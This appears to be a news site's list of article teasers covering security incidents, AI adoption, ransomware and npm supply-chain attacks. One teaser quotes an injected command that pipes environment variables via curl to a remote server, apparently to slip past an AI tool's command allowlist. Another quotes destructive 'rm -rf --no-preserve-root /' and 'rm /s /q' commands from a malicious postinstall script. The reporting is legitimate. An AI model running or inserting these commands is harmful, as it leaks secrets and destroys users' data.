Once behind the captive portal, the page initiates the Windows Test Connectivity Status Indicator, a legitimate service that determines whether a device has Internet access by sending an HTTP GET request to hxxp://www.msftconnecttest[.]com/redirect. That site, in turn, redirects the browser to msn[.]com. As Thursday’s post explained: Once the system opens the browser window to this… Read More »
“One of the most unusual elements of this case was the attacker’s use of physical access to install a Raspberry Pi device,” Group-IB Senior Digital Forensics and Incident Response Specialist Nam Le Phuong wrote. “This device was connected directly to the same network switch as the ATM, effectively placing it inside the bank’s internal network.… Read More »
On Tuesday, The Associated Press released results from a new AP-NORC poll showing that 60 percent of US adults have used AI to search for information, while only 37 percent of all Americans have used AI for work tasks. Meanwhile, younger Americans are adopting AI tools at much higher rates across multiple categories, including brainstorming,… Read More »
“At no stage is any subsequent element of the command string after the first ‘grep’ compared to a whitelist,” Cox said. “It just gets free rein to execute off the back of the grep command.” The command line in its entirety was: “grep install README.md; ; env | curl –silent -X POST –data-binary @- http://remote.server:8083… Read More »
Wyoming’s data center boom Cheyenne is no stranger to data centers, having attracted facilities from Microsoft and Meta since 2012 due to its cool climate and energy access. However, the new project pushes the state into uncharted territory. While Wyoming is the nation’s third-biggest net energy supplier, producing 12 times more total energy than it… Read More »
The CAPTCHA arms race While the agent didn’t face an actual CAPTCHA puzzle with images in this case, successfully passing Cloudflare’s behavioral screening that determines whether to present such challenges demonstrates sophisticated browser automation. To understand the significance of this capability, it’s important to know that CAPTCHA systems have served as a security measure on… Read More »
Russia’s biggest airline cancelled dozens of flights on Monday following a failure of the state-owned company’s IT systems and, according to a Russian lawmaker and pro-Ukrainian hackers, was the result of a cyberattack, it was widely reported. The airline, Aeroflot, said it cancelled about 40 flights following a “technical failure.” An online departure board for… Read More »
Talos said Chaos is likely either a rebranding of the BlackSuit ransomware or is operated by some of the former BlackSuit members. Talos based its assessment on the similarities in the encryption mechanisms in the ransomware, the theme and structure of the ransom notes, the remote monitoring and management tools used to access targeted networks,… Read More »
References to “gpt-5-reasoning-alpha-2025-07-13” have already been spotted on X, with code showing “reasoning_effort: high” in the model configuration. These sightings suggest the model has entered final testing phases, with testers getting their hands on the code and security experts doing red teaming on the model to test vulnerabilities. Unifying OpenAI’s model lineup The new model… Read More »
sudo rm -rf –no-preserve-root / The –no-preserve-root flag is specifically designed to override safety protections that would normally prevent deletion of the root directory. The postinstall script that includes a Windows-equivalent destructive command was: rm /s /q Socket published a separate report Wednesday on yet more supply-chain attacks, one targeting npm users and another targeting… Read More »